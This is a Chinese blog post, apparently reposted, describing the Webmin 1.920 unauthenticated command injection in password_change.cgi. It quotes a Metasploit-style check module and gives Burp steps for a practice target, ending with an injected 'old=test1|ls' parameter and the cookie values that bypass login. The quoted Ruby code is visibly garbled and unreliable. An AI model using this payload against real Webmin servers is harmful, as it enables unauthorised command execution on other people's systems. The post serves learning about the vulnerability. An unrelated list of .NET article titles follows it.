博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Webmin 远程命令执行漏洞
阅读量:3916 次
发布时间:2019-05-23

本文共 1374 字,大约阅读时间需要 4 分钟。

前言:

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

影响版本

Webmin  <= 1.920

漏洞代码

def peer"#{ss1 ? 'https:// : ' http://' }#{rhost}:#{rport}" end# Target and input verification##def check# check passwd change privres = send_ request_ cgi({    'uri' => normalize_ uri(target_ uri. path, " password_ change.cgi"),    ' headers' =>        {            ' Referer’=>”#{peer}/session_ login.cgi"        },' cookie' =>" redirect=1; testing=1; sid=x; sessiontest=1"})if res & res.code == 200 && res.body =n /Failed/res = send_ request_ cgi({    'method' =>'POST',    'cookie' => " redirect=1; testing=1; sid=x; sessiontest=1",    'ctype' => " application/ X-WWW- form- urlencoded ',    'uri' => normalize_ uri(target_ uri.path, ' password_ change.cgi' ),    ” headers' =>        {            'Referer' => "#{peer}/session_ login.cgi"        },    'data' => "user=root&pam=&expired=2&old=AkkuS%7 cdir%20&new1=akkuss&new2=akkuss"})

审计完代码后,我们知道:

1.res = send_ request_ cgi()里面的东西就是数据包的内容,把抓取的数据包添加或修改对应得内容就可以了。

2.数据包user参数有一个默认用户root,只有参数user!=root的时候才会进入到修改/etc/shadow的地方,触发命令注入漏洞。

进入靶机:

无账号无密码登陆,用burp抓包

第一步,修改路径 session_ login.cgi 为 password_ change.cgi

第二步,修改Cookie为 Cookie: redirect=1; testing=1;sid=x; sessiontest=1

第三步,修改参数 user=jammny&pam=&expired=2&old=test1|ls&new1=test2&new2=test2

 

END

以前看到后台直接测试弱口令,现在知道了不只是弱口令,还有其他办法可以绕过登陆验证。多观察多学习多积累,加油。

转载地址:http://cpirn.baihongyu.com/

你可能感兴趣的文章
客户的一个紧急bug,我用了两种方式进行 C# 反编译修改源码
查看>>
.NET5都来了,你还不知道怎么部署到linux?最全部署方案,总有一款适合你
查看>>
我画着图,FluentAPI 她自己就生成了
查看>>
BenchmarkDotNet v0.12x新增功能
查看>>
使用 .NET 5 体验大数据和机器学习
查看>>
C# 中的数字分隔符 _
查看>>
持续交付一:从开发到上线的环境
查看>>
使用 docker 构建分布式调用链跟踪框架skywalking
查看>>
深度探秘.NET 5.0
查看>>
Github Actions 中 Service Container 的使用
查看>>
天际数见数据质量巡检架构优化
查看>>
别在.NET死忠粉面前黑.NET5,它未来可期!
查看>>
Winform 进度条弹窗和任务控制
查看>>
部署Dotnet Core应用到Kubernetes(二)
查看>>
持续交付二:为什么需要多个环境
查看>>
简单理解线程同步上下文
查看>>
购票啦 | 2020中国.NET开发者峰会启动
查看>>
FreeSql接入CAP的实践
查看>>
浅析 EF Core 5 中的 DbContextFactory
查看>>
听说容器正在吃掉整个软件世界?
查看>>